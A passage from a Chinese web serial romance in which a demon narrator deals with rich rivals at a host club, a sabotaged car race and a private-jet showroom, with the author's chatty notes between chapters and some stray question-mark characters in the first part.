我看着他用?颤抖的手擦拭桌面,眼泪啪嗒啪嗒地往下掉,垂着头,仿佛随时会崩溃。 刚想问他是不?是有?什么隐疾即将发作,包厢的门却被推开了。 “哇哦。” 来人?唇角勾着熟悉的笑意,目光在我和跪地的赖杨之间流转,语气意味不?明:“希望没有?打扰到二位的雅兴。” 我这才后?知后?觉地意识到,跪在我脚边啜泣不?止的男公关,将此刻的场景衬托得如同某种特殊癖好的现场。 这不?就坐实?了我S的身份了吗? 我立刻弹开,抢先澄清:“都是他自?愿的,我什么都没做。” 颜升歪头笑了笑,金发在灯光下晃眼:“放心,我又不?是那种小气的男人?。” 他穿着宽松的衬衫,领口微敞,露出之前见?过的那条项链,比起地上跪着的赖杨,他本人?反倒更像这里的头牌。 他慢悠悠地踱到我身边,饶有?兴致地打量着瑟瑟发抖的赖杨:“怎么点了个?新人??这种的,很难提供情绪价值。” “看他顺眼而已。” 闻言,颜升的视线落在赖杨脸上,一寸寸地仔细端详,随即迟疑地嗯了一声:“你喜欢这种类型?和霍亦瑀的差距可不?是一星半点。” 赖杨下意识望向我,眼神里流露出求救的信号,桌上的酒渍还没擦干净,他仍维持着弯腰跪地的姿势。 这副模样,像只刚落地、瑟瑟发抖的羊羔。 我忽然?觉得,或许应该点个?销冠来试试。 赖杨的眼神逐渐暗淡下去,重?新低下头,死死盯着自?己紧握的拳头。 我收回视线,重?新看向手机屏幕:“只是顺眼而已。” 颜升轻哼一声,转而望向我,状似无意地说?道:“来了这么久,也不?见?你玩什么,觉得无聊的话,可以找我啊,我最近闲得很。” “天天见?面,你不?嫌烦?” “那你呢?已经很烦霍亦瑀了?”他反问,带着试探。 我想了想,脑海中浮现出霍亦瑀的脸,倒也没有?生出多?少厌烦,他如同流水,早已无声渗入我生活的缝隙。 像是冬天穿上厚袜子那么顺理成章,是生活的必需品,所以厌烦什么的,完全没想过。 我没回答,颜升先开了口,自?动调转话题,调笑道:“别这样嘛,我们未来还有?很长的时间要?相处,至少别这么快就腻了我。” 他抿了一口酒,笑容暧昧不?清:“我们来聊聊天吧。我可以告诉你任何事,只要?……你想知道。” 我立马问:“你的银行卡密码。” “943275。” 他竟真敢回答?这人?的脸皮厚度果然?非同一般,而且……这股莫名的不?爽感,让我忽然?想起了邛浚。 “你有?点像我认识的一个?人?。” “谁?” “说?了你也不?认识。” “说?说?看,我认识的人?可不?少。” 他五年?前就在国外,最近才回来,怎么可能认识邛浚。 “你会认识一个?到处兼职的中介吗?” 我补充道:“很穷的那种,可能住在天桥下面。” 他眯眼思索片刻:“记忆里没有?这号人?物,我认识的人?,最起码也该体面些?。” 我:“你是在看不?起他?” “一个?我都不?认识的人?,”他坦然?承认,“确实?看不?起。” 说?到这里,他的高傲已经体现得淋漓尽致。 “像这种人?,早已不?会出现在我的生命里,即便有?,也只是无足轻重?、转眼即忘的角色。” 他晃着酒杯,语气轻慢:“你应该提升一下自?己的社交圈,多?结识些?有?用?的人?。” “用?他们来做什么?” 我只知道吃和拿钱,现在吃的够了,钱也够了,我是个?懂得知足的恶魔。 他说?:“名气、资源,还有?财富,社交能为你铺平很多?道路。” 我想了想,觉得他是爹瘾犯了,尽说?些?没用?的东西,于是耸肩说?:“我更希望他们自?己来到我面前。” 颜升垂眸凝视我,忽然?低笑起来:“也可以,只要?你坐在这里,自?然?会有?人?源源不?断地涌来。” 说?完,他的视线转向一旁,落在那仍跪着的男公关身上,当?我看去时,赖杨猛地低下头,双手紧紧握成了拳。 “嗯……像这种人?,本就不?该出现在你的世界里。” 他的声音带着毫不?掩饰的挑剔,“脸,也长得一般般嘛。” 在他的点评中,赖杨的头垂得更低,几乎要?埋进胸口。 “还可以吧。”我说?。 毕竟栾明和我长得有?几分像,他又长得和栾明有?几分像,所以不?可能不?好看。 颜升盯着我看了几秒,又瞥向赖杨,摸了摸下巴,开口道:“但他在这里,实?在碍眼。” 他随即命令道:“出去吧。” 赖杨僵硬在原地,视线如受惊的蜗牛触角,在触碰到我的一瞬猛地缩回,他踉跄着站起身,勉强维持着姿态,跌跌撞撞地挪出了包厢。 “好玩吗?”颜升转回头问我。 “不?好玩。” 我打了个?哈欠,继续摆弄游戏:“原来就是干坐着聊天,一点意思也没有?,我还是喜欢更刺激的活动。” 旁边人?的笑了声,像是是丝绒蛋糕般的声音说?:“那下次来找我,我带你去玩点有?意思的。” 屏幕里的角色跳过斜坡,终于抵达对面,我夸赞一句:“果然?是荤素不?忌的厉害。” “?” 颜升的笑容凝固了一瞬:“什么意思?” “荤素不?忌啊。”我重?复道,语气认真,“霍亦瑀说?的,你荤素不?忌,很会玩。” 闻言,他嗤笑一声,用?手支着下巴:“我早该想到的。霍亦瑀也是个?嘴上不?饶人?的主,居然?在你面前这样造谣我,我从来就不?是什么荤素不?忌的人?,硬要?说?的话,我可是个?绝对的——素食主义者。” “虽然?见?过猪跑,但我只吃草,我这个?人?在感情方面可是很保守的。” 他话锋一转,意有?所指,“反倒是霍亦瑀,知人?知面不?知心。” “千万别被他的表象骗了,只要?有?利可图,他对任何人?都能下得去狠手。” 颜升冷笑道:“能把所有?有?血缘关系的亲戚统统赶出国,也能毫不?犹豫地对朋友捅刀子,像他这种人?……说?是毒蛇,也不?为过。” 最后?这句话,他说?得格外咬牙切齿,仿佛亲身领教过那份狠辣。 我好奇地问:“你被他捅过刀子?” 怪不?得邛浚说?让我捅他一刀,原来真有?人?捅过。 一切都有?迹可循! “差不?多?吧。” 颜升语气幽幽,带着几分表演性质的哀怨:“我只是个?可怜兮兮的草食动物,被捅了也只打落牙齿自?己吞。哎,要?不?你来帮我主持公道,报个?仇?” “不?要?。” 我拒绝得干脆利落:“你只是个?小三,认清自?己的地位好吗?” 他顿时笑弯了腰,几乎将重?量靠在我肩上,眼睛亮晶晶地望着我:“你真是太有?意思了,我可能……快要?喜欢上你了。” 我推开他的脑袋,他却像块牛皮糖似的又黏了过来,新奇地把玩着我的手指,显得兴奋不?已。 就在这时,我的手机震动起来,屏幕上映出霍亦瑀的名字。 颜升带着看好戏的笑容,看着我接通电话。 “在哪里?”听筒里传来熟悉的声音,听不?出情绪。 “在外面。” “……” 一声微不?可闻的叹息传来。 “最近这几天我不?在家,你要?注意身体,不?要?总是熬夜,对身体不?好,如果有?问题就给?保洁讲,要?不?然?给?我发消息……” 恰在此时,颜升忽然?低头,轻轻咬住我的指尖。 他眯着略显狭长的眼,睫翼投下细密的阴影,红色的舌尖若隐若现,不?动声色地将那条项链塞进我掌心,用?口型无声说?道:喜欢吗? 这副模样完全符合男公关店的主题,就是口水有?点脏。 我的注意力被分散了一瞬。 “小冬,快点回来吧。”霍亦瑀的声音再次响起,平稳依旧,“司机也想早点下班。” “嗯?……嗯。” 我有?些?心不?在焉地应道,抽出手把口水擦在颜升的衬衫上。 对面沉默了片刻,挂断电话。 我刚放下手机,颜升便松开了手,笑得歪倒在沙发上,语气里满是幸灾乐祸:“快回家应付他吧,忮忌的男人?可是很可怕的,这幅表现,肯定是生气了。” 回去是肯定要?回的,但我必须纠正?他话里的错误。 胡说?八道,霍亦瑀为什么要?生气? 他明明在公司忙得不?可开交,根本没空管我,他出差去了,根本不?在家。 颜升挑眉,意味深长地反问:“真的吗?” 我:“当?然?是真的。” 他为什么会骗我?有?什么用?吗? 我深以为然?—— 作者有话说:这个富哥还在测试中(在测试什么) 翻阅大纲,发现爽的都在后面,我的进展好慢,如果能每天写一万字的话(幻想),窝好想完结(!) 窝今天特别倒霉,竟然有人偷窝的外卖,窝要诅咒他吃了拉稀窜肚子一周生病,窝要向外卖小偷宣战(!) 第80章 如我所料, 霍亦瑀果然忙于工作,连续几天?不见?人影。 虽然我完全不懂他的工作,但网上的财经新闻铺天?盖地,似乎正处在某个关键项目的汇报阶段, 忙碌实属正常。 颜升一直暗戳戳地期待着霍亦瑀的反应, 可惜什么都没发生, 我命令他愿赌服输给?我打?钱。 因为?那天?之后,我们用这件事做赌,最后的胜利者果然是我。 接下来的几天?,我一直在家里闲着, 既然还没想好做什么,也没想好房子选址,但先躺下吧, 说不定某天?就有灵感了。 我松散地宅在家里打?游戏,直到今天?,邛浚又开始他的信息轰炸。 [邛浚(保持警惕)]:真的不来吗?今天?天?气特别好,很适合看赛车的风景啊 [邛浚(保持警惕)]:顺便一提, 我带了那张存钱的卡哦(小?熊跳舞.gif) [世界第一恶魔大人]:在忙勿扰 [邛浚(保持警惕)]:忘记我是你的粉丝了吗?别躺在家里了,出来玩吧 [邛浚(保持警惕)]:(图片)(图片) 他发来两张照片,一张是赛车场的远景,另一张则是用手指夹着一张银行卡的特写。 [邛浚(保持警惕)]:现场还有更?好看的哦 更?好看的? 我摸了摸下巴, 决定还是出门晒晒太阳, 而且这几天?储存的食物也消化得差不多了, 是时候出去补充点养分。 按照他发来的地址抵达后, 我才发现这个赛车场规模惊人。 它坐落于郊外一片平坦地带,还未靠近,震耳欲聋的引擎轰鸣和观众欢呼便已?扑面而来。 跟随服务生的指引登上二楼观景台, 我终于看到了邛浚。 与粉丝见?面会上全副武装的模样不同?,他今天?穿了件蓝色卫衣,头戴黑色棒球帽,远远看去竟有几分潮流感,如果不是身上缺少那些叮当作响的饰品,我几乎要以?为?是泉卓逸坐在那里。 走近细看,他脖子上只简简单单挂了条苹果造型的吊坠项链。 邛浚闻声转过头,帽檐下的脸庞似乎没什么变化,但又隐约觉得和以?前不同?了。 五官依旧是那副圆钝无害的模样,嘴角天?生微微上扬。 他抬手朝我打?招呼:“哟,来啦,快坐下,好戏还没开始呢。” 我在旁边的位置坐下,用研究的目光仔细打?量他,沉吟道:“总觉得哪里不对劲。” “?” 他歪着头看我,顺手摘下帽子,露出一头蓬松的卷发,爽朗地笑了起来:“哪里不对劲?是不是太久没见?到我本人,太想我了?” 他瞬间摆出感动的表情:“我也超级想你啊!” 邛浚作势就要扑过来,被我用手指抵住他的头,坚决保持距离,他也自得其乐,就这么看着我,笑得格外灿烂。 这个动作让我能更?清楚地观察他,这才注意?到他手指上多了几枚设计感十足的戒指。 终于,我抓住了那份怪异感的源头。 我:“你是在模仿泉卓逸吗?” 邛浚却像是听不懂似的,向后靠进座椅,一脸无辜:“谁?人模仿动物?怎么可能嘛,我只是最近在网上学了些穿搭而已?。” 潮男穿搭大概都是这样,但放在邛浚身上就格外怪异。 “真奇怪。” 我摸着下巴,依旧觉得违和,“难不成是看惯了你穿外卖制服的样子?现在看你穿正常衣服,就像看到狗会穿衣服一样让人怀疑。” “我才不是狗哦。” 我嫌弃地说:“比喻听不懂吗,你好没文化啊。” 他抱起手臂,又把帽子扣了回去,黑眸在阴影中闪烁着湿润的光,笑容可亲地说:“这不是个好比喻。下次换成好朋友或者有钱人怎么样?” 有钱人?他真成了有钱了?!不行,我还是不能接受,而且十分抗拒! 无论如何,我还是觉得他明明该睡在桥洞底下。 座位舒适,但我坐立难安,拍拍沙发,问:“这家赛车场是你的?” “不是啦。”邛浚摆摆手。 我还没来得及窃喜,他便若无其事地补充道:“赛车场本身不是私人的,属于公司赞助的俱乐部,不过嘛……刚好那个俱乐部的老板是我而已?。” 偌大的赛车场,从二楼的玻璃幕墙望出去,是一望无际的平原,赛道如巨蟒般盘踞其上,高耸的灯塔和钢铁支架投下长长的阴影,整个场地在比赛间歇显出一种空旷的寂静。 但涌入的观众很快带来了喧嚣,赛道下方似乎正在进行最后的调试,人声鼎沸。 之前见?过的、用于下注的巨大屏幕正悬在玻璃窗对面,各支车队名字后面的赔率数字飞快地跳动着。 我转头看向室内,这里也悬挂着同样的屏幕。 越看越疑惑,一个中介是怎么混进赛车圈的? 邛浚变富这件事,对我打?击颇大! 我语气深沉:“到底是哪里出了问题?难道你在路上救了哪个公司的董事长?” 这种主角剧情不可能发生在他身上,因为?如果真有,那也一定是他策划的才对。 “你猜得真准!” 邛浚爽快地承认,笑容阳光得像个正面人物,“我确实在路边救了一位董事长,她感动之余,非要把公司交给?我打?理。” 我完全不信,用质疑的目光看着他。 “骗你的啦。”他嘻嘻一笑,张嘴又是胡说八道,“我是凭借实力?得到的。帮人这种事,我可从来不免费。” “别想那么多了,安静等着吧,好戏马上开场。” 他讨好地将?桌上的甜品递给?我,眨了下眼睛,示意?我看向赛场。 但我浑身不自在,越看他越不爽,大概就是看不得旧内裤镶金边,对邛浚瞬间燃起了强烈的仇富心理。 下面的观众走来走去,比赛还没有开始,像是浪潮一样摇动着。 我咬住勺子,心情勉强平复:“这五年你到底在干什么?” “管理公司啊。” 邛浚耸耸肩,语气轻松:“顺便管管娱乐产业。” 娱乐产业?是指赌马赌车这类吗?那的确很赚钱。 我:“但这种行业不是需要专业技术吗?” 他像是被我的话逗乐,无辜地扬起嘴角:“难道你觉得我没有技术吗?” “虽然我高中辍学,连大学校门都没进过,但有眼光的人自然能看出我的才能。” 我摇头叹息:“那他的眼睛肯定是瞎了。” “怎么会呢。” 邛浚来了精神,眼睛眯成两条缝,颇为?自得地说:“在我的管理下,俱乐部每个季度的盈利涨幅都超过10%。像我这样的员工,可是人人都抢着要。” “简单来说,凭借我的工作经验,打?击黄牛,然后自己?当最大的那个黄牛。” 我陷入了沉思。 原来只是把以?前干的事情换个光鲜的包装,就能合法赚钱。 果然,赚钱并非难事,邛浚能发财也很正常,毕竟他既无下限,又深谙吸血之道。 “你离开后不久,我就被招进公司了,就像我之前说的,我们很快就会再见?。” 他朝我眨了下右眼,带着几分得意?:“不是吗?在那群人里,我可是第一个见?到你的。” 我疑惑:“什么?” “我是说,在你回来的所有人里,我最先见?到你。” 说得没错,确实是这样。 但看着他一脸我赢了的爽快表情,总觉得他背地里干了什么坏事,让我莫名地很不爽。 我砸吧下嘴,追问道:“那你知道其他人去哪儿了吗?” 说到这件事,邛浚又恢复了窝在沙发里的模样,撑着下巴,好像很认真思考着。 “其他人嘛——” 他拖长了音调,慢悠悠地说:“不知道诶,我完全不在意?他们的死?活。” 此?话一出,我的眼神秒变锐利,非常关键地指出问题:“那你怎么能确定你是第一个见?到我的?” “哎呀!” 邛浚软绵绵地叫了一声,作势懊恼地捶了下自己?的脑袋:“瞧我这不小?心说漏嘴的毛病,这下要暴露了。” 暴露什么? 我疑惑地看着他,等待下文。 他叹了口气,故作不好意?思地说:“我在你的私生群里知道的。” 原来是私生群。 私生,顾名思义,就是那些跟踪明星私生活、偷拍照片的极端粉丝。 有些是真心的变态,而大部分则是一群靠贩卖明星隐私牟利的家伙。 他们有时会给?工作室发威胁信,或者直接寄到我本人手里。 总是对我的行踪了如指掌,手机里存着数万张我的照片,自然对我身边出现哪些人也一清二楚。 比起经纪人对私生厌烦的态度,我倒觉得他们挺有意?思的。 竟然有人愿意?花费一整天?时间跟踪我,翻检我的垃圾,再费尽心思写警告信,勒令其他人离开我身边。 虽然毫无用处,但这份执着,难道不有趣吗? 反正他们也从未真正来到我面前,但凡敢靠近,下一秒就会被警察带走。 我看着他,平静地陈述:“我可以?报警把你抓走。” “别啊!”他立刻装出可怜兮兮的模样,“我只是加了群,什么都没干啊!” 这样反而更?可疑了,他绝对做了什么。 “你说的好戏,到底是什么?” 邛浚脸上那副玩世不恭的表情像流水般褪去,他懒洋洋地撑着下巴,指向下方看台的一个特定区域。 那是一片被隔离出来的区域,似乎是仅供赛车相?关人员进入的VIP区。 此?刻,那里站着三四?个人,远远看去,气氛凝重得如同?被阴云笼罩,其中一人耀眼的金发在阳光下格外醒目。 几天?不见?,颜升正与身旁的人交谈,频繁抬头看向屏幕上的排行榜。 似乎听到了什么不好的消息,脸色是我从未见?过的阴沉,隔着老远的距离都能看到他皱在一起的眉头。 我来了兴趣,饶有兴致地说:“你认识他?” “当然。”邛浚端起腔调,文绉绉地说,“颜家大少爷,风流倜傥,整个圈子没人不认识他,走到哪儿都是焦点,多的是人想巴结他,攀上关系。” 他话锋一转,带着毫不掩饰的讥讽:“只可惜啊……” “可惜什么?” 邛浚用手指摩挲着下巴,弯起眼睛,露出一个极其清爽的笑容,吐出的话却截然相?反:“只可惜,脑子不太好使。” 我赞同?地点点头,陈述道:“你很讨厌他啊。” 他故作惊讶:“这么明显吗?” 根本连装都懒得装,简直把讨厌两个字写在了脸上。 “对啊,他很讨厌。” 说完,他又感慨起来:“能让我讨厌的人,也算是有本事。” “你讨厌的人还挺多的。”我吐槽道。 感觉大街上随便拉个人,他都能找出理由讨厌,情绪阴晴不定得像被熊孩子攥在手里的水枪。 邛浚诶了一声,歪头看我:“但我很喜欢你啊,这算不算特殊?” 他的脸皮厚度堪比城墙,竟然能面不改色地说出这种话。 我评价道:“有点恶心。” “别嘛!我可是真情实意?的!” 我丝毫不为?所动,也学着他的样子撑起下巴,俯瞰下方。 此?时,赛车比赛即将?开始。 发令旗挥下的瞬间,所有赛车的引擎发出狂暴的咆哮,如离弦之箭般冲出起跑线,只在视野中留下几道模糊的残影。 一圈,又一圈。 车速还在不断提升,排名激烈地交替着,极不稳定。 咬得最紧的第一名和第二名,如同?光与影,始终紧紧相?随。 我觉得第一名的赛车涂装很酷,名字也霸气,在心里默默押它会赢。 屏幕上,它身后的下注金额数字一路飙升,几乎要冲破显示框。 “你猜谁会赢?”邛浚问。 “现在排第一的那个。” “哎呀,”邛浚笑着说,“大家都这么想。但我觉得,今天?可不一定哦。” “只要第二名咬得够紧,总有超过第一的那天?。” 他的话音刚落,惊人又熟悉的一幕发生了。 排名第一的赛车突然失控,猛地撞向旁边的防护栏,车身在剧烈翻滚后重重砸在地上,瞬间支离破碎,紧接着燃起熊熊大火。 工作人员立刻冲上前灭火,并将?驾驶员从残骸中拖了出来。 而第二名,就此?取代?了首位,并且遥遥领先,在所有人的注视下率先冲过终点线,夺得了第一。 排行榜屏幕上,它的名字赫然登顶。 场内瞬间爆发出巨大的声浪,有人欢呼雀跃,有人捶胸顿足,懊恼的骂声几乎要掀翻屋顶。 下方VIP区的那群人,则彻底陷入了死?寂。 隐约可见?颜升狠狠将?什么东西摔在地上,怒火几乎化为?实质,他猛地抬起头,锐利的视线直射二楼我们所在的方向。 一顶帽子适时地扣下来,遮住了我的视线。 邛浚清澈的声音在耳边响起,如同?泉水敲击石子。 “好看吧?” 他望向下方,视线又转回我脸上,眼中带着一种欣赏艺术品般的神态:“这种人生气时表情崩坏的样子,丑陋得……也别有一番风味。” 确实不错。一直看他顺风顺水,此?刻气急败坏、表情管理失控的模样,才更?有趣。 但是挡住我干嘛,难不成想一个人欣赏吗? 我在邛浚的‘哎呀’声里,强行挪开帽子。 楼下的人仍站在原地,表情有些微的凝滞,眉头紧锁,隔着遥远的距离与我对视。 我拿起帽子,朝他那个方向潇洒地挥了一下,行了个不伦不类的礼。 金发男人的神情在远处看不真切,但他身上那股浓缩后又猛地炸开的负面情绪却清晰可辨。 很快,他恢复了常态,他身边的人也顺着他的目光朝楼上望来,但邛浚及时拉了我一把,让我后退几步,避开了那些探究的视线。 “小?心点,”他语气轻松,“私生最喜欢混在观众里了。” “你很懂行嘛。” 我看得很开心,愉快地说:“下次还有这种活动,记得叫我。” “好啊。”邛浚伸了个懒腰,笑嘻嘻地说,“有人能分享快乐,感觉真不错。” 如果旧内裤真的镶了金边,好像也不是不能继续穿? 我和他对视一眼,他弯起眼睛,朝我露出一个真心实意?的笑容。 这个时候,正好可以?再补一刀。 我拿出手机给?颜升发消息,邛浚凑在我身边,津津有味地看着。 [世界第一恶魔大人]:今天?天?气真好,心情真是十分美妙啊 [颜升(病情待定)]:那真巧 [颜升(病情待定)]:我的心情十分不妙 [世界第一恶魔大人]:人啊,要学会调节心态,总要活下去的对吧?只有经历风雨,才能看见?彩虹嘛 发送完这套诡异的正能量语录,我美滋滋地放下手机时。 就在这时,鼻尖忽然窜入一股极其浓烈的薄荷味,浓到几乎带上了辛辣的刺激感。 抬头望去,只见?一道颀长的身影正从旁经过。 男人步履从容,侧脸线条分明,带着一种疏离的冷漠,他走得极快,几乎是一闪而过,瞬间便消失在门口。 还没等我回过神来,那道身影已?然不见?踪迹。 手机震动。 我低下头看向最新发来的消息。 [颜升(病情待定)]:以?为?我会生气吗? [颜升(病情待定)]:我真的有点喜欢你了—— 作者有话说:穷菌靠着富哥背刺鲜花饼得到的赌。博产业,之前小冬去拿名片那次,他也看了名片(还记得吗),得到联系方式后,两个人各取所需,捅了鲜花饼一刀,以前赛车啥的都是鲜花饼的事,今天也是穷菌做的手脚 哇塞他的一双黑手操纵着一切,感觉是个神经病,这种人发狂才有意思,一脚可以踹好远(什)《 》 80-85 第81章 我大概撞鬼了。 薄荷气息一闪而过?, 那?天?戛然而止。 在此之后,我的生活却平静得反常,原本上蹿下跳的邛浚莫名安分下来,颜升也像是被按了静音键, 仿佛有场大戏正?在暗处酝酿, 而我永远被排除在核心剧情之外。 倒是柯觅山来找过?我一次, 说?什么少和颜升接触,但问他?为什么,他?又扯东扯西说?不清楚。 我问他?是不是代替颜升之后,他?就再也没?回消息。 这群人?肯定背着我搞了什么名堂, 暗流在我看不见的地方涌动,偏偏将我隔绝在外。 要是能?把他?们的勾当拍成电视剧给我看就好了。 说?到电视剧,我又想起曾经客串过?的几部戏精当时?觉得有趣就接了, 但真实的拍摄现场和我想象的完全不同,那?种乱糟糟、被众人?簇拥的感觉,始终让我觉得失真。 拍戏和看成品是两种截然不同的体验,我从没?真正?代入过?角色的情感, 可最终呈现的画面却总能?被解读出?另一层意味。 笑可以是悲伤的,哭可以是喜悦的。 影评人?的夸赞如流水般从我意识表面滑过?,没?留下任何痕迹,那?些角色不过?是他?人?眼中?的倒影, 与我本人?毫无关联。 闲来无事, 我又开始进行哲学?思考。 作?为一个异类, 除了异食癖, 我总被评价为“想得太多”,“太像个人?类”。 因为母亲记不清自己玩了哪些雄性,所以恶魔里流传着一种说?法?:我可能?是她和某个人?类生下的混血儿。 越是空闲, 过?往的记忆就越发不受控制地碎片式闪现。而前五年里,这种情况从未发生。原因很简单—— 单纯因为我现在没?吃饱。 正?当我决定出?门走?走?,防止大脑发霉,顺便觅食时?,食物?自己送上门了。 霍亦瑀结束了漫长的工作?,还带回一个好消息:他?最近休假,可以陪我去选购私人?飞机。 购买私人?飞机需要预约,而他?早已安排妥当,今天?下午就能?去看。 哲学?思考瞬间被抛到九霄云外,此刻我的脑子?里只剩下私人?飞机。 其实我并非多喜欢飞机本身,虽然能?俯瞰大地,但终究只是困在金属盒子?里颠簸,好在它足够快,能?省去漫长旅途的煎熬。 购买私人?飞机最吸引我的一点,是它能?满足我的炫富欲。 没?错!我就是这么个物?质又实际的恶魔! 之前说?的什么周游世界都是次要理由,最关键的就是要炫富,作?为上流社会的标配,拥有私人?飞机足以碾压一大批所谓的有钱人?。 前往展示中?心的车上,我迫不及待地从收藏夹里翻出?富人?购买私人?飞机的vlog,看得津津有味。 霍亦瑀凑过?来,目光落在我的手机屏幕上,忽然开口:“这几天?在家无聊吗?” “还好。” 我散漫地应道?:“和平时?没?什么两样。” “我以为你会怀念工作?,毕竟你一直很享受和粉丝见面,工作?室暂停运营这段时?间,他?们写了很多信。” 那?些私生粉恐怕要闹翻天?了,虽然没?到我面前,但肯定为难了不少人?。 于是,我好奇问:“他?们找你了?” “那?倒没?有。”他?语气平稳,“只是往公司塞了不少信。” “工作?的事以后再说?吧。” 我放下手机,望向窗外:“虽然没?事可做,但我暂时?还不想回去工作?。” 霍亦瑀撩起我的一缕头发,在指间细细捻磨,抬眼看我,复又垂下眼帘:“那?什么时?候会想?” “可能?明天?,可能?后天?。”我说?,“反正?不是今天?。” “……” 他?收回手,朝我露出?一个浅淡的笑容,语气平静无波:“好。” 车辆驶抵一栋玻璃幕墙大厦楼下,停好车后,几名西装革履的工作?人?员已等候在入口。 步入宽敞明亮的大厅,其中?一位笑容可掬的销售经理将我们引至一块巨大的显示屏前。 屏幕上正?展示着各式各样的机型。 落座后,我先端起桌上的水杯抿了一口,随即开始研究桌上甜点的造型。 “请问您对私人?飞机有哪些具体的功能?需求?在这次购机中?,您最看重哪些性能??”销售经理微笑着询问。 我的注意力还在那?些精致的甜点上,闻言看向霍亦瑀,他?则歪了歪头,用眼神示意我回答。 我想了想,说?:“想要能?到处飞。” “到处飞吗?” 销售经理做出?沉吟的姿态:“那?么,您最看重的三个要素是什么?例如航程、机舱大小、维护成本,还是资产的保值性?” 她在叽里咕噜说些什么?完全听不懂。 我摸着下巴,陷入沉思。 对面的销售经理笑容微僵,目光转向霍亦瑀,迅速切换了话题:“不了解也没?关系,请允许我先为您介绍一下私人?飞机的购买流程,我们提供114种机型,从国外品牌到国内生产,根据不同容量,价格也有所差异,但每一款都能?为您节省至少五个小时?的旅途时?间。” “我们不仅销售飞机,更提供全方位的支持服务,从采购融资、机组人员培训、全球维护托管,到航线申请和地面礼宾,我们确保您在拥有飞机的整个生命周期内,享受无忧的体验。” 我的目光在屏幕上不断切换的飞机图片上流连,这些庞然大物?的实体此刻只是一张张照片,看起来如同玩具,即便是最大的机型,与真正?的龙相比,也显得过?于小巧。 销售经理的声音如同ASMR般在耳边持续响着,语调柔和,让我有些昏昏欲睡。 飞机还有一个好处:比起龙,它能?遮风挡雨。 霍亦瑀的目光频频落在我身上,从今早回来开始,他?就有些反常,像是重新认识我一般,打量我的频率高得惊人?。 我转过?头,正?好对上他?的视线。 浅色的眸子?一如既往,五官组合带着淡淡的野性,但不像往日那?般闲适,反而透出?些许冷感,对视的瞬间,他?唇角微扬,手指在膝上轻点。 “想好了吗?” 他?话音落下的同时?,空旷的大厅里响起一串急促的脚步声。 一个熟悉的声音撞入耳膜。 “把你们经理叫来!明明是我们先预约的,为什么临时?换人?推迟?” 来者气势汹汹,看上去像是找茬的,但攻击性极强的脸闯入我视野的那?一刻,时?间仿佛凝固了。 甜蜜的气息猛然将我包裹,即使隔着一段距离也十分强烈。 说?话的人?瞳孔猛然收缩,愣在原地,旁边的工作?人?员不停道?歉,脸色苍白得像见了鬼。 那?张脸五官优越,西装革履衬得身姿比以往更挺拔,但依旧是纤细的骨架,曾经走?路便叮当作?响的饰品消失得一干二净,连唇环、眉钉也不见了踪影。 站在不远处的泉卓逸,熟悉又陌生。 我摸着下巴,终于找到了合适的形容词:上岸成功风。 俨然是脱离了男公关行业,考公成功的模样。 他?下意识后退半步,喉结滚动,瞳孔紧缩如针,猛地扭头看向身后,试图阻止什么。 “哥——” 在他?喊出?口的同一时?刻,霍亦瑀忽然站到我身旁,手掌按住我的肩膀,眉头微蹙,嘴唇翕动,似乎想唤回我的注意力。 与此同时?,一道?黑色的身影无视泉卓逸的阻拦,径直踏入我的视野。 有着深绿色眼眸的男人?直直地望向我。 他?的五官与泉卓逸相似,眉宇间却柔和许多,然而这份柔和反而让他?显得更加疏离。 浓密的白色睫毛几乎遮住半边眼睛,平添一股寒意,像是落了一层永不融化的雪。 可他?偏偏拥有一头墨黑短发。 为什么只有睫毛是白色的?泉卓逸他?哥可能?比他?还要潮。 他?比泉卓逸更高,梳着利落的大背头,露出?光洁的额头,眉目清晰,站定后,习惯性地转动拇指上的戒指。 我们的视线在空中?相遇。 黑发男人?似乎咬了下后槽牙,咬肌凸显随即消失,抬眼向霍亦瑀看去。 他?的声音低沉,像是感冒似的,带着浓重的沙哑:“霍总,好久不见,这么巧在这遇到了。” “是挺巧的。” 霍亦瑀收回放在我肩上的手,云淡风轻地说?:“原来泉总最近来H市了,我还以为你会继续发展A市的产业。” 泉卓逸的哥叫什么来着,忘记了。 男人?脸上没?什么表情,淡淡地说?:“只是回来发展家族企业而已,没?什么好说?的。” “是吗,那?祝未来顺利。” 从他?哥走?进来的瞬间,泉卓逸就埋着头,手在两侧握成拳,完全不敢抬头看我一下。 不过?甜蜜的情感存在感十足,拼命往我嘴里钻,我自然不会放过?,咬了好几口,依旧甜得过?分,像撒满了糖霜。 旁边的销售经理看眼色,立马站出?来说?话:“刚才小泉总误会了,时?间推后不是因为霍总用途加入,是我们的员工搞错了安排表,另一位经理临时?有事,这才不得不延后一段时?间。” “我们会尽力补偿,小泉总这边您们先去等待室坐会如何?” 但她说?完,泉卓逸仍然低着头,完全一副不接受的模样。 销售经理不得不鞠躬道?歉,几步来到泉卓逸面前,一脸歉意地说?:“泉总,您不满意的话,我现在立马更换赔偿方案。” “不。”泉卓逸猛然回神,斩钉截铁地说?,“我没?有意见,休息室是吧,我等你。” 说?完,他?控制不住向我看来,嘴唇泛白,手臂忍不住发抖。 他?看来的同时?,其他?人?也看了过?来,存在感极强的三道?视线同时?落在我身上。 现在是不是该说?点啥,毕竟好久不见,成功人?士再遇曾经跑友,也是打脸界的美事一桩。 快哉快哉。我先古风一下。 还好在分别的时?候保留了美好记忆,再见也尴尬不到哪里去。 我眨了下眼,抬手说?:“嗨?” “……” 泉卓逸呼吸不顺,猛地红了眼眶,从咬紧的牙齿里勉强挤出?一句好久不见。 这幅模样倒是熟悉不少。 他?原本想说?什么,但旁边的男人?按住他?的肩膀,语气冷淡地说?:“你知道?自己在做什么吗?” “滚回去,别在外面丢人?现眼。” 态度冷漠得像在对待仇人?,把旁边的销售经理吓了一跳,保持着良好的素质才没?有左看右看。 泉卓逸握紧拳头,心情平复下来,也绷着一张脸,面无表情地转身往外走?去。 留下的男人?朝我们微微颔首,随便交代了一句,便走?向旁边的休息室。 销售经理松了口气,赶忙再次来到我们身边,关切地问:“刚才耽误了点时?间,天?气炎热,需要我再添点准备茶水吗?” 霍亦瑀:“不用了,你继续吧。” 等销售经理继续asmr的介绍后,霍亦瑀拉着我坐下,给桌上的杯子?倒满水,递到我的手里。 室内开了空调,冷死从头顶幽幽降落,脚底不知道?哪里也有冷气输送装置,丝毫感觉不到燥意,反而泛着阴暗的冷。 旁边的人?将我的手拢在手心,轻轻捏了下,问:“认识?” 我奇怪地看了他?一眼:“我以为你知道?。” 三分钟资料呢?到底有没?有这个超能?力?一到关键时?候就不管用,可以当做没?有。 